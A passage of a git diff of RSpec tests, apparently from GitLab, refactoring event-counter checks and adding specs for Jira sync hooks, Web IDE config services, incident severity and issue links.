@@ -40,34 +50,52 @@ RSpec.describe EventCreateService do
end
end
- describe 'Merge Requests' do
+ describe 'Merge Requests', :clean_gitlab_redis_shared_state do
describe '#open_mr' do
+ subject(:open_mr) { service.open_mr(merge_request, merge_request.author) }
+
let(:merge_request) { create(:merge_request) }
- it { expect(service.open_mr(merge_request, merge_request.author)).to be_truthy }
+ it { expect(open_mr).to be_truthy }
it "creates new event" do
- expect { service.open_mr(merge_request, merge_request.author) }.to change { Event.count }
+ expect { open_mr }.to change { Event.count }
+ end
+
+ it_behaves_like "it records the event in the event counter" do
+ let(:event_action) { Gitlab::UsageDataCounters::TrackUniqueEvents::MERGE_REQUEST_ACTION }
end
end
describe '#close_mr' do
+ subject(:close_mr) { service.close_mr(merge_request, merge_request.author) }
+
let(:merge_request) { create(:merge_request) }
- it { expect(service.close_mr(merge_request, merge_request.author)).to be_truthy }
+ it { expect(close_mr).to be_truthy }
it "creates new event" do
- expect { service.close_mr(merge_request, merge_request.author) }.to change { Event.count }
+ expect { close_mr }.to change { Event.count }
+ end
+
+ it_behaves_like "it records the event in the event counter" do
+ let(:event_action) { Gitlab::UsageDataCounters::TrackUniqueEvents::MERGE_REQUEST_ACTION }
end
end
describe '#merge_mr' do
+ subject(:merge_mr) { service.merge_mr(merge_request, merge_request.author) }
+
let(:merge_request) { create(:merge_request) }
- it { expect(service.merge_mr(merge_request, merge_request.author)).to be_truthy }
+ it { expect(merge_mr).to be_truthy }
it "creates new event" do
- expect { service.merge_mr(merge_request, merge_request.author) }.to change { Event.count }
+ expect { merge_mr }.to change { Event.count }
+ end
+
+ it_behaves_like "it records the event in the event counter" do
+ let(:event_action) { Gitlab::UsageDataCounters::TrackUniqueEvents::MERGE_REQUEST_ACTION }
end
end
@@ -180,6 +208,8 @@ RSpec.describe EventCreateService do
where(:action) { Event::WIKI_ACTIONS.map { |action| [action] } }
with_them do
+ subject { create_event }
+
it 'creates the event' do
expect(create_event).to have_attributes(
wiki_page?: true,
@@ -201,13 +231,8 @@ RSpec.describe EventCreateService do
expect(duplicate).to eq(event)
end
- it 'records the event in the event counter' do
- counter_class = Gitlab::UsageDataCounters::TrackUniqueActions
- tracking_params = { event_action: counter_class::WIKI_ACTION, date_from: Date.yesterday, date_to: Date.today }
-
- expect { create_event }
- .to change { counter_class.count_unique(tracking_params) }
- .by(1)
+ it_behaves_like "it records the event in the event counter" do
+ let(:event_action) { Gitlab::UsageDataCounters::TrackUniqueEvents::WIKI_ACTION }
end
end
@@ -242,13 +267,8 @@ RSpec.describe EventCreateService do
it_behaves_like 'service for creating a push event', PushEventPayloadService
- it 'records the event in the event counter' do
- counter_class = Gitlab::UsageDataCounters::TrackUniqueActions
- tracking_params = { event_action: counter_class::PUSH_ACTION, date_from: Date.yesterday, date_to: Date.today }
-
- expect { subject }
- .to change { counter_class.count_unique(tracking_params) }
- .from(0).to(1)
+ it_behaves_like "it records the event in the event counter" do
+ let(:event_action) { Gitlab::UsageDataCounters::TrackUniqueEvents::PUSH_ACTION }
end
end
@@ -265,13 +285,8 @@ RSpec.describe EventCreateService do
it_behaves_like 'service for creating a push event', BulkPushEventPayloadService
- it 'records the event in the event counter' do
- counter_class = Gitlab::UsageDataCounters::TrackUniqueActions
- tracking_params = { event_action: counter_class::PUSH_ACTION, date_from: Date.yesterday, date_to: Date.today }
-
- expect { subject }
- .to change { counter_class.count_unique(tracking_params) }
- .from(0).to(1)
+ it_behaves_like "it records the event in the event counter" do
+ let(:event_action) { Gitlab::UsageDataCounters::TrackUniqueEvents::PUSH_ACTION }
end
end
@@ -299,7 +314,7 @@ RSpec.describe EventCreateService do
let_it_be(:updated) { create_list(:design, 5) }
let_it_be(:created) { create_list(:design, 3) }
- let(:result) { service.save_designs(author, create: created, update: updated) }
+ subject(:result) { service.save_designs(author, create: created, update: updated) }
specify { expect { result }.to change { Event.count }.by(8) }
@@ -319,13 +334,8 @@ RSpec.describe EventCreateService do
expect(events.map(&:design)).to match_array(updated)
end
- it 'records the event in the event counter' do
- counter_class = Gitlab::UsageDataCounters::TrackUniqueActions
- tracking_params = { event_action: counter_class::DESIGN_ACTION, date_from: Date.yesterday, date_to: Date.today }
-
- expect { result }
- .to change { counter_class.count_unique(tracking_params) }
- .from(0).to(1)
+ it_behaves_like "it records the event in the event counter" do
+ let(:event_action) { Gitlab::UsageDataCounters::TrackUniqueEvents::DESIGN_ACTION }
end
end
@@ -333,7 +343,7 @@ RSpec.describe EventCreateService do
let_it_be(:designs) { create_list(:design, 5) }
let_it_be(:author) { create(:user) }
- let(:result) { service.destroy_designs(designs, author) }
+ subject(:result) { service.destroy_designs(designs, author) }
specify { expect { result }.to change { Event.count }.by(5) }
@@ -346,13 +356,37 @@ RSpec.describe EventCreateService do
expect(events.map(&:design)).to match_array(designs)
end
- it 'records the event in the event counter' do
- counter_class = Gitlab::UsageDataCounters::TrackUniqueActions
- tracking_params = { event_action: counter_class::DESIGN_ACTION, date_from: Date.yesterday, date_to: Date.today }
+ it_behaves_like "it records the event in the event counter" do
+ let(:event_action) { Gitlab::UsageDataCounters::TrackUniqueEvents::DESIGN_ACTION }
+ end
+ end
+ end
+
+ describe '#leave_note' do
+ subject(:leave_note) { service.leave_note(note, author) }
+
+ let(:note) { create(:note) }
+ let(:author) { create(:user) }
+ let(:event_action) { Gitlab::UsageDataCounters::TrackUniqueEvents::MERGE_REQUEST_ACTION }
+
+ it { expect(leave_note).to be_truthy }
+
+ it "creates new event" do
+ expect { leave_note }.to change { Event.count }.by(1)
+ end
+
+ context 'when it is a diff note' do
+ it_behaves_like "it records the event in the event counter" do
+ let(:note) { create(:diff_note_on_merge_request) }
+ end
+ end
+
+ context 'when it is not a diff note' do
+ it 'does not change the unique action counter' do
+ counter_class = Gitlab::UsageDataCounters::TrackUniqueEvents
+ tracking_params = { event_action: event_action, date_from: Date.yesterday, date_to: Date.today }
- expect { result }
- .to change { counter_class.count_unique(tracking_params) }
- .from(0).to(1)
+ expect { subject }.not_to change { counter_class.count_unique_events(tracking_params) }
end
end
end
diff --git a/spec/services/git/branch_hooks_service_spec.rb b/spec/services/git/branch_hooks_service_spec.rb
index 7f22af8bfc6..db25bb766c9 100644
--- a/spec/services/git/branch_hooks_service_spec.rb
+++ b/spec/services/git/branch_hooks_service_spec.rb
@@ -348,7 +348,7 @@ RSpec.describe Git::BranchHooksService do
context 'when the project is forked', :sidekiq_might_not_need_inline do
let(:upstream_project) { project }
- let(:forked_project) { fork_project(upstream_project, user, repository: true) }
+ let(:forked_project) { fork_project(upstream_project, user, repository: true, using_service: true) }
let!(:forked_service) do
described_class.new(forked_project, user, change: { oldrev: oldrev, newrev: newrev, ref: ref })
diff --git a/spec/services/git/branch_push_service_spec.rb b/spec/services/git/branch_push_service_spec.rb
index 6ccf2d03e4a..5d73794c1ec 100644
--- a/spec/services/git/branch_push_service_spec.rb
+++ b/spec/services/git/branch_push_service_spec.rb
@@ -416,6 +416,7 @@ RSpec.describe Git::BranchPushService, services: true do
before do
# project.create_jira_service doesn't seem to invalidate the cache here
project.has_external_issue_tracker = true
+ stub_jira_service_test
jira_service_settings
stub_jira_urls("JIRA-1")
@@ -703,4 +704,68 @@ RSpec.describe Git::BranchPushService, services: true do
service.execute
service
end
+
+ context 'Jira Connect hooks' do
+ let_it_be(:project) { create(:project, :repository) }
+ let(:branch_to_sync) { nil }
+ let(:commits_to_sync) { [] }
+ let(:params) do
+ { change: { oldrev: oldrev, newrev: newrev, ref: ref } }
+ end
+
+ subject do
+ described_class.new(project, user, params)
+ end
+
+ shared_examples 'enqueues Jira sync worker' do
+ specify do
+ Sidekiq::Testing.fake! do
+ expect(JiraConnect::SyncBranchWorker).to receive(:perform_async)
+ .with(project.id, branch_to_sync, commits_to_sync)
+ .and_call_original
+
+ expect { subject.execute }.to change(JiraConnect::SyncBranchWorker.jobs, :size).by(1)
+ end
+ end
+ end
+
+ shared_examples 'does not enqueue Jira sync worker' do
+ specify do
+ Sidekiq::Testing.fake! do
+ expect { subject.execute }.not_to change(JiraConnect::SyncBranchWorker.jobs, :size)
+ end
+ end
+ end
+
+ context 'with a Jira subscription' do
+ before do
+ create(:jira_connect_subscription, namespace: project.namespace)
+ end
+
+ context 'branch name contains Jira issue key' do
+ let(:branch_to_sync) { 'branch-JIRA-123' }
+ let(:ref) { "refs/heads/#{branch_to_sync}" }
+
+ it_behaves_like 'enqueues Jira sync worker'
+ end
+
+ context 'commit message contains Jira issue key' do
+ let(:commits_to_sync) { [newrev] }
+
+ before do
+ allow_any_instance_of(Commit).to receive(:safe_message).and_return('Commit with key JIRA-123')
+ end
+
+ it_behaves_like 'enqueues Jira sync worker'
+ end
+
+ context 'branch name and commit message does not contain Jira issue key' do
+ it_behaves_like 'does not enqueue Jira sync worker'
+ end
+ end
+
+ context 'without a Jira subscription' do
+ it_behaves_like 'does not enqueue Jira sync worker'
+ end
+ end
end
diff --git a/spec/services/git/wiki_push_service_spec.rb b/spec/services/git/wiki_push_service_spec.rb
index 7f709be8593..816f20f0bc3 100644
--- a/spec/services/git/wiki_push_service_spec.rb
+++ b/spec/services/git/wiki_push_service_spec.rb
@@ -6,12 +6,20 @@ RSpec.describe Git::WikiPushService, services: true do
include RepoHelpers
let_it_be(:key_id) { create(:key, user: current_user).shell_id }
- let_it_be(:project) { create(:project, :wiki_repo) }
- let_it_be(:current_user) { create(:user) }
- let_it_be(:git_wiki) { project.wiki.wiki }
- let_it_be(:repository) { git_wiki.repository }
+ let_it_be(:wiki) { create(:project_wiki) }
+ let_it_be(:current_user) { wiki.container.default_owner }
+ let_it_be(:git_wiki) { wiki.wiki }
+ let_it_be(:repository) { wiki.repository }
describe '#execute' do
+ it 'executes model-specific callbacks' do
+ expect(wiki).to receive(:after_post_receive)
+
+ create_service(current_sha).execute
+ end
+ end
+
+ describe '#process_changes' do
context 'the push contains more than the permitted number of changes' do
def run_service
process_changes { described_class::MAX_CHANGES.succ.times { write_new_page } }
@@ -37,8 +45,8 @@ RSpec.describe Git::WikiPushService, services: true do
let(:count) { Event::WIKI_ACTIONS.size }
def run_service
- wiki_page_a = create(:wiki_page, project: project)
- wiki_page_b = create(:wiki_page, project: project)
+ wiki_page_a = create(:wiki_page, wiki: wiki)
+ wiki_page_b = create(:wiki_page, wiki: wiki)
process_changes do
write_new_page
@@ -135,7 +143,7 @@ RSpec.describe Git::WikiPushService, services: true do
end
context 'when a page we already know about has been updated' do
- let(:wiki_page) { create(:wiki_page, project: project) }
+ let(:wiki_page) { create(:wiki_page, wiki: wiki) }
before do
create(:wiki_page_meta, :for_wiki_page, wiki_page: wiki_page)
@@ -165,7 +173,7 @@ RSpec.describe Git::WikiPushService, services: true do
context 'when a page we do not know about has been updated' do
def run_service
- wiki_page = create(:wiki_page, project: project)
+ wiki_page = create(:wiki_page, wiki: wiki)
process_changes { update_page(wiki_page.title) }
end
@@ -189,7 +197,7 @@ RSpec.describe Git::WikiPushService, services: true do
context 'when a page we do not know about has been deleted' do
def run_service
- wiki_page = create(:wiki_page, project: project)
+ wiki_page = create(:wiki_page, wiki: wiki)
process_changes { delete_page(wiki_page.page.path) }
end
@@ -254,9 +262,9 @@ RSpec.describe Git::WikiPushService, services: true do
it_behaves_like 'a no-op push'
- context 'but is enabled for a given project' do
+ context 'but is enabled for a given container' do
before do
- stub_feature_flags(wiki_events_on_git_push: project)
+ stub_feature_flags(wiki_events_on_git_push: wiki.container)
end
it 'creates events' do
@@ -280,19 +288,19 @@ RSpec.describe Git::WikiPushService, services: true do
def create_service(base, refs = ['refs/heads/master'])
changes = post_received(base, refs).changes
- described_class.new(project, current_user, changes: changes)
+ described_class.new(wiki, current_user, changes: changes)
end
def post_received(base, refs)
change_str = refs.map { |ref| +"#{base} #{current_sha} #{ref}" }.join("\n")
- post_received = ::Gitlab::GitPostReceive.new(project, key_id, change_str, {})
+ post_received = ::Gitlab::GitPostReceive.new(wiki.container, key_id, change_str, {})
allow(post_received).to receive(:identify).with(key_id).and_return(current_user)
post_received
end
def current_sha
- repository.gitaly_ref_client.find_branch('master')&.dereferenced_target&.id || Gitlab::Git::BLANK_SHA
+ repository.commit('master')&.id || Gitlab::Git::BLANK_SHA
end
# It is important not to re-use the WikiPage services here, since they create
@@ -312,7 +320,7 @@ RSpec.describe Git::WikiPushService, services: true do
file_content: 'some stuff',
branch_name: 'master'
}
- ::Wikis::CreateAttachmentService.new(container: project, current_user: project.owner, params: params).execute
+ ::Wikis::CreateAttachmentService.new(container: wiki.container, current_user: current_user, params: params).execute
end
def update_page(title)
diff --git a/spec/services/ide/base_config_service_spec.rb b/spec/services/ide/base_config_service_spec.rb
new file mode 100644
index 00000000000..debdc6e5809
--- /dev/null
+++ b/spec/services/ide/base_config_service_spec.rb
@@ -0,0 +1,53 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe Ide::BaseConfigService do
+ let_it_be(:project) { create(:project, :repository) }
+ let_it_be(:user) { create(:user) }
+ let(:sha) { 'sha' }
+
+ describe '#execute' do
+ subject { described_class.new(project, user, sha: sha).execute }
+
+ context 'when insufficient permission' do
+ it 'returns an error' do
+ is_expected.to include(
+ status: :error,
+ message: 'Insufficient permissions to read configuration')
+ end
+ end
+
+ context 'for developer' do
+ before do
+ project.add_developer(user)
+ end
+
+ context 'when file is missing' do
+ it 'returns an error' do
+ is_expected.to include(
+ status: :error,
+ message: "Failed to load Web IDE config file '.gitlab/.gitlab-webide.yml' for sha")
+ end
+ end
+
+ context 'when file is present' do
+ before do
+ allow(project.repository).to receive(:blob_data_at).with('sha', anything) do
+ config_content
+ end
+ end
+
+ context 'content is not valid' do
+ let(:config_content) { 'invalid content' }
+
+ it 'returns an error' do
+ is_expected.to include(
+ status: :error,
+ message: "Invalid configuration format")
+ end
+ end
+ end
+ end
+ end
+end
diff --git a/spec/services/ide/schemas_config_service_spec.rb b/spec/services/ide/schemas_config_service_spec.rb
new file mode 100644
index 00000000000..19e5ca9e87d
--- /dev/null
+++ b/spec/services/ide/schemas_config_service_spec.rb
@@ -0,0 +1,53 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe Ide::SchemasConfigService do
+ let_it_be(:project) { create(:project, :repository) }
+ let_it_be(:user) { create(:user) }
+ let(:filename) { 'sample.yml' }
+ let(:schema_content) { double(body: '{"title":"Sample schema"}') }
+
+ describe '#execute' do
+ before do
+ project.add_developer(user)
+
+ allow(Gitlab::HTTP).to receive(:get).with(anything) do
+ schema_content
+ end
+ end
+
+ subject { described_class.new(project, user, filename: filename).execute }
+
+ context 'feature flag schema_linting is enabled', unless: Gitlab.ee? do
+ before do
+ stub_feature_flags(schema_linting: true)
+ end
+
+ context 'when no predefined schema exists for the given filename' do
+ it 'returns an empty object' do
+ is_expected.to include(
+ status: :success,
+ schema: {})
+ end
+ end
+
+ context 'when a predefined schema exists for the given filename' do
+ let(:filename) { '.gitlab-ci.yml' }
+
+ it 'uses predefined schema matches' do
+ expect(Gitlab::HTTP).to receive(:get).with('https://json.schemastore.org/gitlab-ci')
+ expect(subject[:schema]['title']).to eq "Sample schema"
+ end
+ end
+ end
+
+ context 'feature flag schema_linting is disabled', unless: Gitlab.ee? do
+ it 'returns an empty object' do
+ is_expected.to include(
+ status: :success,
+ schema: {})
+ end
+ end
+ end
+end
diff --git a/spec/services/ide/terminal_config_service_spec.rb b/spec/services/ide/terminal_config_service_spec.rb
new file mode 100644
index 00000000000..d6c4f7a2a69
--- /dev/null
+++ b/spec/services/ide/terminal_config_service_spec.rb
@@ -0,0 +1,69 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe Ide::TerminalConfigService do
+ let_it_be(:project) { create(:project, :repository) }
+ let_it_be(:user) { create(:user) }
+ let(:sha) { 'sha' }
+
+ describe '#execute' do
+ subject { described_class.new(project, user, sha: sha).execute }
+
+ before do
+ project.add_developer(user)
+
+ allow(project.repository).to receive(:blob_data_at).with('sha', anything) do
+ config_content
+ end
+ end
+
+ context 'content is not valid' do
+ let(:config_content) { 'invalid content' }
+
+ it 'returns an error' do
+ is_expected.to include(
+ status: :error,
+ message: "Invalid configuration format")
+ end
+ end
+
+ context 'terminal not defined' do
+ let(:config_content) { '{}' }
+
+ it 'returns success' do
+ is_expected.to include(
+ status: :success,
+ terminal: nil)
+ end
+ end
+
+ context 'terminal enabled' do
+ let(:config_content) { 'terminal: {}' }
+
+ it 'returns success' do
+ is_expected.to include(
+ status: :success,
+ terminal: {
+ tag_list: [],
+ yaml_variables: [],
+ options: { script: ["sleep 60"] }
+ })
+ end
+ end
+
+ context 'custom terminal enabled' do
+ let(:config_content) { 'terminal: { before_script: [ls] }' }
+
+ it 'returns success' do
+ is_expected.to include(
+ status: :success,
+ terminal: {
+ tag_list: [],
+ yaml_variables: [],
+ options: { before_script: ["ls"], script: ["sleep 60"] }
+ })
+ end
+ end
+ end
+end
diff --git a/spec/services/incident_management/create_incident_label_service_spec.rb b/spec/services/incident_management/create_incident_label_service_spec.rb
index 18a7c019497..4771dfc9e64 100644
--- a/spec/services/incident_management/create_incident_label_service_spec.rb
+++ b/spec/services/incident_management/create_incident_label_service_spec.rb
@@ -10,9 +10,10 @@ RSpec.describe IncidentManagement::CreateIncidentLabelService do
subject(:execute) { service.execute }
describe 'execute' do
- let(:title) { described_class::LABEL_PROPERTIES[:title] }
- let(:color) { described_class::LABEL_PROPERTIES[:color] }
- let(:description) { described_class::LABEL_PROPERTIES[:description] }
+ let(:incident_label_attributes) { attributes_for(:label, :incident) }
+ let(:title) { incident_label_attributes[:title] }
+ let(:color) { incident_label_attributes[:color] }
+ let(:description) { incident_label_attributes[:description] }
shared_examples 'existing label' do
it 'returns the existing label' do
diff --git a/spec/services/incident_management/incidents/create_service_spec.rb b/spec/services/incident_management/incidents/create_service_spec.rb
index 404c428cd94..1330f3ae033 100644
--- a/spec/services/incident_management/incidents/create_service_spec.rb
+++ b/spec/services/incident_management/incidents/create_service_spec.rb
@@ -13,7 +13,7 @@ RSpec.describe IncidentManagement::Incidents::CreateService do
context 'when incident has title and description' do
let(:title) { 'Incident title' }
let(:new_issue) { Issue.last! }
- let(:label_title) { IncidentManagement::CreateIncidentLabelService::LABEL_PROPERTIES[:title] }
+ let(:label_title) { attributes_for(:label, :incident)[:title] }
it 'responds with success' do
expect(create_incident).to be_success
@@ -23,14 +23,47 @@ RSpec.describe IncidentManagement::Incidents::CreateService do
expect { create_incident }.to change(Issue, :count).by(1)
end
- it 'created issue has correct attributes' do
+ it 'created issue has correct attributes', :aggregate_failures do
create_incident
- aggregate_failures do
- expect(new_issue.title).to eq(title)
- expect(new_issue.description).to eq(description)
- expect(new_issue.author).to eq(user)
- expect(new_issue.issue_type).to eq('incident')
- expect(new_issue.labels.map(&:title)).to eq([label_title])
+
+ expect(new_issue.title).to eq(title)
+ expect(new_issue.description).to eq(description)
+ expect(new_issue.author).to eq(user)
+ end
+
+ it_behaves_like 'incident issue' do
+ before do
+ create_incident
+ end
+
+ let(:issue) { new_issue }
+ end
+
+ context 'with default severity' do
+ it 'sets the correct severity level to "unknown"' do
+ create_incident
+ expect(new_issue.severity).to eq(IssuableSeverity::DEFAULT)
+ end
+ end
+
+ context 'with severity' do
+ using RSpec::Parameterized::TableSyntax
+
+ subject(:create_incident) { described_class.new(project, user, title: title, description: description, severity: severity).execute }
+
+ where(:severity, :incident_severity) do
+ 'critical' | 'critical'
+ 'high' | 'high'
+ 'medium' | 'medium'
+ 'low' | 'low'
+ 'unknown' | 'unknown'
+ end
+
+ with_them do
+ it 'sets the correct severity level' do
+ create_incident
+ expect(new_issue.severity).to eq(incident_severity)
+ end
end
end
diff --git a/spec/services/issuable/common_system_notes_service_spec.rb b/spec/services/issuable/common_system_notes_service_spec.rb
index daf4f68208e..217550542bb 100644
--- a/spec/services/issuable/common_system_notes_service_spec.rb
+++ b/spec/services/issuable/common_system_notes_service_spec.rb
@@ -32,17 +32,6 @@ RSpec.describe Issuable::CommonSystemNotesService do
end
end
- context 'when new milestone is assigned' do
- before do
- milestone = create(:milestone, project: project)
- issuable.milestone_id = milestone.id
-
- stub_feature_flags(track_resource_milestone_change_events: false)
- end
-
- it_behaves_like 'system note creation', {}, 'changed milestone'
- end
-
context 'with merge requests Draft note' do
context 'adding Draft note' do
let(:issuable) { create(:merge_request, title: "merge request") }
@@ -100,32 +89,10 @@ RSpec.describe Issuable::CommonSystemNotesService do
expect(event.user_id).to eq user.id
end
- context 'when milestone change event tracking is disabled' do
- before do
- stub_feature_flags(track_resource_milestone_change_events: false)
-
- issuable.milestone = create(:milestone, project: project)
- issuable.save
- end
-
- it 'creates a system note for milestone set' do
- expect { subject }.to change { issuable.notes.count }.from(0).to(1)
- expect(issuable.notes.last.note).to match('changed milestone')
- end
-
- it 'does not create a milestone change event' do
- expect { subject }.not_to change { ResourceMilestoneEvent.count }
- end
- end
-
- context 'when milestone change event tracking is enabled' do
+ context 'when changing milestones' do
let_it_be(:milestone) { create(:milestone, project: project) }
let_it_be(:issuable) { create(:issue, project: project, milestone: milestone) }
- before do
- stub_feature_flags(track_resource_milestone_change_events: true)
- end
-
it 'does not create a system note for milestone set' do
expect { subject }.not_to change { issuable.notes.count }
end
diff --git a/spec/services/issue_links/create_service_spec.rb b/spec/services/issue_links/create_service_spec.rb
new file mode 100644
index 00000000000..873890d25cf
--- /dev/null
+++ b/spec/services/issue_links/create_service_spec.rb
@@ -0,0 +1,184 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe IssueLinks::CreateService do
+ describe '#execute' do
+ let(:namespace) { create :namespace }
+ let(:project) { create :project, namespace: namespace }
+ let(:issue) { create :issue, project: project }
+ let(:user) { create :user }
+ let(:params) do
+ {}
+ end
+
+ before do
+ project.add_developer(user)
+ end
+
+ subject { described_class.new(issue, user, params).execute }
+
+ context 'when the reference list is empty' do
+ let(:params) do
+ { issuable_references: [] }
+ end
+
+ it 'returns error' do
+ is_expected.to eq(message: 'No Issue found for given params', status: :error, http_status: 404)
+ end
+ end
+
+ context 'when Issue not found' do
+ let(:params) do
+ { issuable_references: ["##{non_existing_record_iid}"] }
+ end
+
+ it 'returns error' do
+ is_expected.to eq(message: 'No Issue found for given params', status: :error, http_status: 404)
+ end
+
+ it 'no relationship is created' do
+ expect { subject }.not_to change(IssueLink, :count)
+ end
+ end
+
+ context 'when user has no permission to target project Issue' do
+ let(:target_issuable) { create :issue }
+
+ let(:params) do
+ { issuable_references: [target_issuable.to_reference(project)] }
+ end
+
+ it 'returns error' do
+ target_issuable.project.add_guest(user)
+
+ is_expected.to eq(message: 'No Issue found for given params', status: :error, http_status: 404)
+ end
+
+ it 'no relationship is created' do
+ expect { subject }.not_to change(IssueLink, :count)
+ end
+ end
+
+ context 'source and target are the same issue' do
+ let(:params) do
+ { issuable_references: [issue.to_reference] }
+ end
+
+ it 'does not create notes' do
+ expect(SystemNoteService).not_to receive(:relate_issue)
+
+ subject
+ end
+
+ it 'no relationship is created' do
+ expect { subject }.not_to change(IssueLink, :count)
+ end
+ end
+
+ context 'when there is an issue to relate' do
+ let(:issue_a) { create :issue, project: project }
+ let(:another_project) { create :project, namespace: project.namespace }
+ let(:another_project_issue) { create :issue, project: another_project }
+
+ let(:issue_a_ref) { issue_a.to_reference }
+ let(:another_project_issue_ref) { another_project_issue.to_reference(project) }
+
+ let(:params) do
+ { issuable_references: [issue_a_ref, another_project_issue_ref] }
+ end
+
+ before do
+ another_project.add_developer(user)
+ end
+
+ it 'creates relationships' do
+ expect { subject }.to change(IssueLink, :count).from(0).to(2)
+
+ expect(IssueLink.find_by!(target: issue_a)).to have_attributes(source: issue, link_type: 'relates_to')
+ expect(IssueLink.find_by!(target: another_project_issue)).to have_attributes(source: issue, link_type: 'relates_to')
+ end
+
+ it 'returns success status' do
+ is_expected.to eq(status: :success)
+ end
+
+ it 'creates notes' do
+ # First two-way relation notes
+ expect(SystemNoteService).to receive(:relate_issue)
+ .with(issue, issue_a, user)
+ expect(SystemNoteService).to receive(:relate_issue)
+ .with(issue_a, issue, user)
+
+ # Second two-way relation notes
+ expect(SystemNoteService).to receive(:relate_issue)
+ .with(issue, another_project_issue, user)
+ expect(SystemNoteService).to receive(:relate_issue)
+ .with(another_project_issue, issue, user)
+
+ subject
+ end
+
+ context 'issue is an incident' do
+ let(:issue) { create(:incident, project: project) }
+
+ it_behaves_like 'an incident management tracked event', :incident_management_incident_relate do
+ let(:current_user) { user }
+ end
+ end
+ end
+
+ context 'when reference of any already related issue is present' do
+ let(:issue_a) { create :issue, project: project }
+ let(:issue_b) { create :issue, project: project }
+ let(:issue_c) { create :issue, project: project }
+
+ before do
+ create :issue_link, source: issue, target: issue_b, link_type: IssueLink::TYPE_RELATES_TO
+ create :issue_link, source: issue, target: issue_c, link_type: IssueLink::TYPE_RELATES_TO
+ end
+
+ let(:params) do
+ {
+ issuable_references: [
+ issue_a.to_reference,
+ issue_b.to_reference,
+ issue_c.to_reference
+ ],
+ link_type: IssueLink::TYPE_RELATES_TO
+ }
+ end
+
+ it 'creates notes only for new relations' do
+ expect(SystemNoteService).to receive(:relate_issue).with(issue, issue_a, anything)
+ expect(SystemNoteService).to receive(:relate_issue).with(issue_a, issue, anything)
+ expect(SystemNoteService).not_to receive(:relate_issue).with(issue, issue_b, anything)
+ expect(SystemNoteService).not_to receive(:relate_issue).with(issue_b, issue, anything)
+ expect(SystemNoteService).not_to receive(:relate_issue).with(issue, issue_c, anything)
+ expect(SystemNoteService).not_to receive(:relate_issue).with(issue_c, issue, anything)
+
+ subject
+ end
+ end
+
+ context 'when there are invalid references' do
+ let(:issue_a) { create :issue, project: project }
+
+ let(:params) do
+ { issuable_references: [issue.to_reference, issue_a.to_reference] }
+ end
+
+ it 'creates links only for valid references' do
+ expect { subject }.to change { IssueLink.count }.by(1)
+ end
+
+ it 'returns error status' do
+ expect(subject).to eq(
+ status: :error,
+ http_status: 422,
+ message: "#{issue.to_reference} cannot be added: cannot be related to itself"
+ )
+ end
+ end
+ end
+end
diff --git a/spec/services/issue_links/destroy_service_spec.rb b/spec/services/issue_links/destroy_service_spec.rb
new file mode 100644
index 00000000000..f441629f892
--- /dev/null
+++ b/spec/services/issue_links/destroy_service_spec.rb
@@ -0,0 +1,69 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe IssueLinks::DestroyService do
+ describe '#execute' do
+ let(:project) { create(:project_empty_repo) }
+ let(:user) { create(:user) }
+
+ subject { described_class.new(issue_link, user).execute }
+
+ context 'when successfully removes an issue link' do
+ let(:issue_a) { create(:issue, project: project) }
+ let(:issue_b) { create(:issue, project: project) }
+
+ let!(:issue_link) { create(:issue_link, source: issue_a, target: issue_b) }
+
+ before do
+ project.add_reporter(user)
+ end
+
+ it 'removes related issue' do
+ expect { subject }.to change(IssueLink, :count).from(1).to(0)
+ end
+
+ it 'creates notes' do
+ # Two-way notes creation
+ expect(SystemNoteService).to receive(:unrelate_issue)
+ .with(issue_link.source, issue_link.target, user)
+ expect(SystemNoteService).to receive(:unrelate_issue)
+ .with(issue_link.target, issue_link.source, user)
+
+ subject
+ end
+
+ it 'returns success message' do
+ is_expected.to eq(message: 'Relation was removed', status: :success)
+ end
+
+ context 'target is an incident' do
+ let(:issue_b) { create(:incident, project: project) }
+
+ it_behaves_like 'an incident management tracked event', :incident_management_incident_unrelate do
+ let(:current_user) { user }
+ end
+ end
+ end
+
+ context 'when failing to remove an issue link' do
+ let(:unauthorized_project) { create(:project) }
+ let(:issue_a) { create(:issue, project: project) }
+ let(:issue_b) { create(:issue, project: unauthorized_project) }
+
+ let!(:issue_link) { create(:issue_link, source: issue_a, target: issue_b) }
+
+ it 'does not remove relation' do
+ expect { subject }.not_to change(IssueLink, :count).from(1)
+ end
+
+ it 'does not create notes' do
+ expect(SystemNoteService).not_to receive(:unrelate_issue)
+ end
+
+ it 'returns error message' do
+ is_expected.to eq(message: 'No Issue Link found', status: :error, http_status: 404)
+ end
+ end
+ end
+end
diff --git a/spec/services/issue_links/list_service_spec.rb b/spec/services/issue_links/list_service_spec.rb
new file mode 100644
index 00000000000..7a3ba845c7c
--- /dev/null
+++ b/spec/services/issue_links/list_service_spec.rb
@@ -0,0 +1,194 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe IssueLinks::ListService do
+ let(:user) { create :user }
+ let(:project) { create(:project_empty_repo, :private) }
+ let(:issue) { create :issue, project: project }
+ let(:user_role) { :developer }
+
+ before do
+ project.add_role(user, user_role)
+ end
+
+ describe '#execute' do
+ subject { described_class.new(issue, user).execute }
+
+ context 'user can see all issues' do
+ let(:issue_b) { create :issue, project: project }
+ let(:issue_c) { create :issue, project: project }
+ let(:issue_d) { create :issue, project: project }
+
+ let!(:issue_link_c) do
+ create(:issue_link, source: issue_d,
+ target: issue)
+ end
+
+ let!(:issue_link_b) do
+ create(:issue_link, source: issue,
+ target: issue_c)
+ end
+
+ let!(:issue_link_a) do
+ create(:issue_link, source: issue,
+ target: issue_b)
+ end
+
+ it 'ensures no N+1 queries are made' do
+ control_count = ActiveRecord::QueryRecorder.new { subject }.count
+
+ project = create :project, :public
+ milestone = create :milestone, project: project
+ issue_x = create :issue, project: project, milestone: milestone
+ issue_y = create :issue, project: project, assignees: [user]
+ issue_z = create :issue, project: project
+ create :issue_link, source: issue_x, target: issue_y
+ create :issue_link, source: issue_x, target: issue_z
+ create :issue_link, source: issue_y, target: issue_z
+
+ expect { subject }.not_to exceed_query_limit(control_count)
+ end
+
+ it 'returns related issues JSON' do
+ expect(subject.size).to eq(3)
+
+ expect(subject).to include(include(id: issue_b.id,
+ title: issue_b.title,
+ state: issue_b.state,
+ reference: issue_b.to_reference(project),
